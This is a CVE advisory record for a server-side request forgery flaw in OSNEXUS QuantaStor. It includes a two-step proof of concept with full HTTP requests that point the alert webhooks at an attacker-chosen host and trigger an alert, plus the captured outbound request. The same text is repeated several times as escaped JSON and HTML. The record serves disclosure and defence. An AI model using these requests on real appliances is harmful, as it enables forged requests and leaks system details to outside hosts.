CVE-2021-42079 (GCVE-0-2021-42079)
Vulnerability from cvelistv5
Published
2023-07-10 06:29
Modified
2025-09-22 06:40
Severity ?
6.2 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
CWE
  • CWE-918 - Server-Side Request Forgery (SSRF)
Summary
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
References
csirt@divd.nlhttps://cisrt.divd.nl/DIVD-2021-00020/
csirt@divd.nlhttps://csirt.divd.nl/CVE-2021-42079Third Party Advisory
csirt@divd.nlhttps://www.osnexus.com/products/software-defined-storageProduct
csirt@divd.nlhttps://www.wbsec.nl/osnexusThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://csirt.divd.nl/CVE-2021-42079Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.divd.nl/DIVD-2021-00020
af854a3a-2127-422b-91ae-364da2661108https://www.osnexus.com/products/software-defined-storageProduct
af854a3a-2127-422b-91ae-364da2661108https://www.wbsec.nl/osnexusThird Party Advisory
Impacted products
Vendor Product Version
OSNEXUS QuantaStor Version: 0   ≤
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{
  "containers": {
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        "providerMetadata": {
          "dateUpdated": "2024-08-04T03:22:25.855Z",
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        "metrics": [
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            "other": {
              "content": {
                "id": "CVE-2021-42079",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
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                    "Technical Impact": "partial"
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                "role": "CISA Coordinator",
                "timestamp": "2024-11-04T20:06:08.530050Z",
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    "cna": {
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              "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\u003cbr\u003e\u003cbr\u003ePOC\u003cbr\u003e\u003cbr\u003eStep 1: Prepare the SSRF with a request like this:\u003cbr\u003e\u003cbr\u003e\u003ctt\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003eGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026amp;smtpServerIpAddress=BURPCOLLABHOST\u0026amp;smtpServerPort=25\u0026amp;smtpUsername=a\u0026amp;smtpPassword=1\u0026amp;smtpAuthType=1\u0026amp;customerSupportEmailAddress=1\u0026amp;poolFreeSpaceWarningThreshold=1\u0026amp;poolFreeSpaceAlertThreshold=1\u0026amp;poolFreeSpaceCriticalAlertThreshold=1\u0026amp;pagerDutyServiceKey=1\u0026amp;slackWebhookUrl=\u003c/span\u003ehttp://\u0026lt;target\u0026gt;\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e\u0026amp;enableAlertTypes\u0026amp;enableAlertTypes=1\u0026amp;disableAlertTypes=1\u0026amp;pauseAlertTypes=1\u0026amp;mattermostWebhookUrl=\u003c/span\u003ehttp://\u0026lt;TARGET\u0026gt;\u003cbr\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003eHTTP/1.1\n\u003cbr\u003eHost: \u0026lt;HOSTNAME\u0026gt; \u003cbr\u003eAccept-Encoding: gzip, deflate\n\u003cbr\u003eAccept: */*\nAccept-Language: en\n\u003cbr\u003eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\u003cbr\u003e\nConnection: close\n\u003cbr\u003eauthorization: Basic \u0026lt;BASIC_AUTH_HASH\u0026gt; \u003cbr\u003eContent-Type: application/json\n\u003cbr\u003eContent-Length: 0\u003c/span\u003e\u003c/tt\u003e\u003cbr\u003e\u003ctt\u003e\u003cbr\u003eStep 2: Trigger this alert with this request\u003cbr\u003e\u003cbr\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003eGET /qstorapi/alertRaise?title=test\u0026amp;message=test\u0026amp;severity=1 \u003cbr\u003eHTTP/1.1\n\u003cbr\u003eHost: \u0026lt;HOSTNAME\u0026gt; \u003cbr\u003eAccept-Encoding: gzip, deflate\n\u003cbr\u003eAccept: */*\n\u003cbr\u003eAccept-Language: en\n\u003cbr\u003eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\u003cbr\u003eConnection: close\n\u003cbr\u003eauthorization: Basic \u0026lt;BASIC_AUTH_HASH\u0026gt; \u003cbr\u003eContent-Type: application/json\n\u003cbr\u003eContent-Length: 1\u003cbr\u003e\u003cbr\u003e\u003c/span\u003e\u003c/tt\u003eThe post request received by \u0026lt;TARGET\u0026gt; looks like this:\u003cbr\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e{\u003cbr\u003e\u2003\n### Python FLASK stuff ####\n\u003cbr\u003e\u2003\u0027endpoint\u0027: \u0027index\u0027, \u003cbr\u003e\u2003\n\u0027method\u0027: \u0027POST\u0027, \u003cbr\u003e\u2003\n\u0027cookies\u0027: ImmutableMultiDict([]), \u003cbr\u003e\u2003\n### END Python FLASK stuff ####\n\u003cbr\u003e\u2003\n\u0027data\u0027: b\u0027{ \u003cbr\u003e\u2003\u2003\"attachments\": [ \u003cbr\u003e\u2003\u2003\u2003{\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"fallback\": \"[122] test / test.\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"color\": \"#aa2222\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"title\": \"[122] test\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"text\": \"test\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"fields\": [ \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Alert Severity\",\n     \u0026nbsp; \u0026nbsp;\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"CRITICAL\",\n     \u0026nbsp; \u0026nbsp;\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u0026nbsp;\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003}, \u0026nbsp;{ \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Appliance\", \u0026nbsp; \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"quantastor (\u003c/span\u003ehttps://\u0026lt;HOSTNAME\u0026gt;\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e)\",\n  \u0026nbsp; \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003}, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System / Driver / Kernel Ver\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003}, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System Startup\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"Fri Aug \u0026nbsp;6 16-02-55 2021\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003     }, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"SSID\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003},\u003cbr\u003e\u2003\u2003\u2003\u2003],\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"footer\": \"QuantaStor Call-home Alert\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"footer_icon\": \"\u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://platform.slack-edge.com/img/default_application_icon.png\"\u003ehttps://platform.slack-edge.com/img/default_application_icon.png\u003c/a\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"ts\": 1628461774\u003cbr\u003e\u2003\u2003\u2003}\u003cbr\u003e\u2003\u2003], \u003cbr\u003e\u2003\u2003\"mrkdwn\":true \u003cbr\u003e\u2003}\u0027, \u003cbr\u003e\u2003#### FLASK REQUEST STUFF #####\n\u003cbr\u003e\u2003\u0027headers\u0027: {\n\u003cbr\u003e\u2003\u2003\u0027Host\u0027: \u0027\u0026lt;redacted\u0026gt;\u0027, \u003cbr\u003e\u2003\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \u003cbr\u003e\u2003\u2003\u0027Accept\u0027: \u0027*/*\u0027, \u003cbr\u003e\u2003\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \u003cbr\u003e\u2003\u2003\u0027Content-Length\u0027: \u0027790\u0027\n\u003cbr\u003e\u2003}, \u003cbr\u003e\u2003\u0027args\u0027: ImmutableMultiDict([]), \u003cbr\u003e\u2003\u0027form\u0027: ImmutableMultiDict([]), \u003cbr\u003e\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \u003cbr\u003e\u2003\u0027path\u0027: \u0027/payload/58\u0027, \u003cbr\u003e\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\u003cbr\u003e}\n\u003cbr\u003e#### END FLASK REQUEST STUFF #####\u003c/span\u003e\u003ctt\u003e\u003c/tt\u003e"
            }
          ],
          "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n\u2003\n### Python FLASK stuff ####\n\n\u2003\u0027endpoint\u0027: \u0027index\u0027, \n\u2003\n\u0027method\u0027: \u0027POST\u0027, \n\u2003\n\u0027cookies\u0027: ImmutableMultiDict([]), \n\u2003\n### END Python FLASK stuff ####\n\n\u2003\n\u0027data\u0027: b\u0027{ \n\u2003\u2003\"attachments\": [ \n\u2003\u2003\u2003{\n\n\u2003\u2003\u2003\u2003\"fallback\": \"[122] test / test.\",\n\n\u2003\u2003\u2003\u2003\"color\": \"#aa2222\",\n\n\u2003\u2003\u2003\u2003\"title\": \"[122] test\",\n\n\u2003\u2003\u2003\u2003\"text\": \"test\",\n\n\u2003\u2003\u2003\u2003\"fields\": [ \u00a0 \n\u2003\u2003\u2003\u2003\u2003{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Alert Severity\",\n     \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"CRITICAL\",\n     \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Appliance\", \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n  \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System / Driver / Kernel Ver\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System Startup\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"Fri Aug \u00a06 16-02-55 2021\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003     }, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"SSID\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003},\n\u2003\u2003\u2003\u2003],\n\n\u2003\u2003\u2003\u2003\"footer\": \"QuantaStor Call-home Alert\",\n\n\u2003\u2003\u2003\u2003\"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n\u2003\u2003\u2003\u2003\"ts\": 1628461774\n\u2003\u2003\u2003}\n\u2003\u2003], \n\u2003\u2003\"mrkdwn\":true \n\u2003}\u0027, \n\u2003#### FLASK REQUEST STUFF #####\n\n\u2003\u0027headers\u0027: {\n\n\u2003\u2003\u0027Host\u0027: \u0027\u003credacted\u003e\u0027, \n\u2003\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \n\u2003\u2003\u0027Accept\u0027: \u0027*/*\u0027, \n\u2003\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \n\u2003\u2003\u0027Content-Length\u0027: \u0027790\u0027\n\n\u2003}, \n\u2003\u0027args\u0027: ImmutableMultiDict([]), \n\u2003\u0027form\u0027: ImmutableMultiDict([]), \n\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \n\u2003\u0027path\u0027: \u0027/payload/58\u0027, \n\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\n}\n\n#### END FLASK REQUEST STUFF #####"
        }
      ],
      "metrics": [
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This is exclusively with POST requests.\\n\\nPOC\\n\\nStep 1: Prepare the SSRF with a request like this:\\n\\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\\nHTTP/1.1\\n\\nHost: \u003cHOSTNAME\u003e \\nAccept-Encoding: gzip, deflate\\n\\nAccept: */*\\nAccept-Language: en\\n\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\\n\\nConnection: close\\n\\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \\nContent-Type: application/json\\n\\nContent-Length: 0\\n\\nStep 2: Trigger this alert with this request\\n\\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \\nHTTP/1.1\\n\\nHost: \u003cHOSTNAME\u003e \\nAccept-Encoding: gzip, deflate\\n\\nAccept: */*\\n\\nAccept-Language: en\\n\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\\n\\nConnection: close\\n\\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \\nContent-Type: application/json\\n\\nContent-Length: 1\\n\\nThe post request received by \u003cTARGET\u003e looks like this:\\n{\\n\\u2003\\n### Python FLASK stuff ####\\n\\n\\u2003\u0027endpoint\u0027: \u0027index\u0027, \\n\\u2003\\n\u0027method\u0027: \u0027POST\u0027, \\n\\u2003\\n\u0027cookies\u0027: ImmutableMultiDict([]), \\n\\u2003\\n### END Python FLASK stuff ####\\n\\n\\u2003\\n\u0027data\u0027: b\u0027{ \\n\\u2003\\u2003\\\"attachments\\\": [ \\n\\u2003\\u2003\\u2003{\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"fallback\\\": \\\"[122] test / test.\\\",\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"color\\\": \\\"#aa2222\\\",\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"[122] test\\\",\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"text\\\": \\\"test\\\",\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"fields\\\": [ \\u00a0 \\n\\u2003\\u2003\\u2003\\u2003\\u2003{ \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"Alert Severity\\\",\\n     \\u00a0 \\u00a0\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"CRITICAL\\\",\\n     \\u00a0 \\u00a0\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": false \\u00a0\\n\\u2003\\u2003\\u2003\\u2003\\u2003}, \\u00a0{ \\u00a0 \\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"Appliance\\\", \\u00a0 \\u00a0 \\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"quantastor (https://\u003cHOSTNAME\u003e)\\\",\\n  \\u00a0 \\u00a0 \\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": true \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003}, \\u00a0{ \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"System / Driver / Kernel Ver\\\", \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\\\", \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": false \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003}, \\u00a0{ \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"System Startup\\\", \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"Fri Aug \\u00a06 16-02-55 2021\\\", \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": true \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003     }, \\u00a0{ \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"title\\\": \\\"SSID\\\", \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"value\\\": \\\"f4823762-1dd1-1333-47a0-6238c474a7e7\\\", \\u00a0 \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003\\u2003\\\"short\\\": true \\u00a0\\n\\n\\u2003\\u2003\\u2003\\u2003\\u2003},\\n\\u2003\\u2003\\u2003\\u2003],\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"footer\\\": \\\"QuantaStor Call-home Alert\\\",\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"footer_icon\\\": \\\" https://platform.slack-edge.com/img/default_application_icon.png \\\",\\n\\n\\u2003\\u2003\\u2003\\u2003\\\"ts\\\": 1628461774\\n\\u2003\\u2003\\u2003}\\n\\u2003\\u2003], \\n\\u2003\\u2003\\\"mrkdwn\\\":true \\n\\u2003}\u0027, \\n\\u2003#### FLASK REQUEST STUFF #####\\n\\n\\u2003\u0027headers\u0027: {\\n\\n\\u2003\\u2003\u0027Host\u0027: \u0027\u003credacted\u003e\u0027, \\n\\u2003\\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \\n\\u2003\\u2003\u0027Accept\u0027: \u0027*/*\u0027, \\n\\u2003\\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \\n\\u2003\\u2003\u0027Content-Length\u0027: \u0027790\u0027\\n\\n\\u2003}, \\n\\u2003\u0027args\u0027: ImmutableMultiDict([]), \\n\\u2003\u0027form\u0027: ImmutableMultiDict([]), \\n\\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \\n\\u2003\u0027path\u0027: \u0027/payload/58\u0027, \\n\\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\\n}\\n\\n#### END FLASK REQUEST STUFF #####\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\u003cbr\u003e\u003cbr\u003ePOC\u003cbr\u003e\u003cbr\u003eStep 1: Prepare the SSRF with a request like this:\u003cbr\u003e\u003cbr\u003e\u003ctt\u003e\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003eGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026amp;smtpServerIpAddress=BURPCOLLABHOST\u0026amp;smtpServerPort=25\u0026amp;smtpUsername=a\u0026amp;smtpPassword=1\u0026amp;smtpAuthType=1\u0026amp;customerSupportEmailAddress=1\u0026amp;poolFreeSpaceWarningThreshold=1\u0026amp;poolFreeSpaceAlertThreshold=1\u0026amp;poolFreeSpaceCriticalAlertThreshold=1\u0026amp;pagerDutyServiceKey=1\u0026amp;slackWebhookUrl=\u003c/span\u003ehttp://\u0026lt;target\u0026gt;\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003e\u0026amp;enableAlertTypes\u0026amp;enableAlertTypes=1\u0026amp;disableAlertTypes=1\u0026amp;pauseAlertTypes=1\u0026amp;mattermostWebhookUrl=\u003c/span\u003ehttp://\u0026lt;TARGET\u0026gt;\u003cbr\u003e\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003eHTTP/1.1\\n\u003cbr\u003eHost: \u0026lt;HOSTNAME\u0026gt; \u003cbr\u003eAccept-Encoding: gzip, deflate\\n\u003cbr\u003eAccept: */*\\nAccept-Language: en\\n\u003cbr\u003eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\u003cbr\u003e\\nConnection: close\\n\u003cbr\u003eauthorization: Basic \u0026lt;BASIC_AUTH_HASH\u0026gt; \u003cbr\u003eContent-Type: application/json\\n\u003cbr\u003eContent-Length: 0\u003c/span\u003e\u003c/tt\u003e\u003cbr\u003e\u003ctt\u003e\u003cbr\u003eStep 2: Trigger this alert with this request\u003cbr\u003e\u003cbr\u003e\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003eGET /qstorapi/alertRaise?title=test\u0026amp;message=test\u0026amp;severity=1 \u003cbr\u003eHTTP/1.1\\n\u003cbr\u003eHost: \u0026lt;HOSTNAME\u0026gt; \u003cbr\u003eAccept-Encoding: gzip, deflate\\n\u003cbr\u003eAccept: */*\\n\u003cbr\u003eAccept-Language: en\\n\u003cbr\u003eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\\n\u003cbr\u003eConnection: close\\n\u003cbr\u003eauthorization: Basic \u0026lt;BASIC_AUTH_HASH\u0026gt; \u003cbr\u003eContent-Type: application/json\\n\u003cbr\u003eContent-Length: 1\u003cbr\u003e\u003cbr\u003e\u003c/span\u003e\u003c/tt\u003eThe post request received by \u0026lt;TARGET\u0026gt; looks like this:\u003cbr\u003e\u003cspan style=\\\"background-color: rgba(29, 28, 29, 0.04);\\\"\u003e{\u003cbr\u003e\\u2003\\n### Python FLASK stuff ####\\n\u003cbr\u003e\\u2003\u0027endpoint\u0027: \u0027index\u0027, \u003cbr\u003e\\u2003\\n\u0027method\u0027: \u0027POST\u0027, \u003cbr\u003e\\u2003\\n\u0027cookies\u0027: ImmutableMultiDict([]), \u003cbr\u003e\\u2003\\n### END Python FLASK stuff ####\\n\u003cbr\u003e\\u2003\\n\u0027data\u0027: b\u0027{ \u003cbr\u003e\\u2003\\u2003\\\"attachments\\\": [ \u003cbr\u003e\\u2003\\u2003\\u2003{\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"fallback\\\": \\\"[122] test / test.\\\",\\n\u003cbr\u003e\\u2003\\u2003\\u2003\\u2003\\\"color\\\": 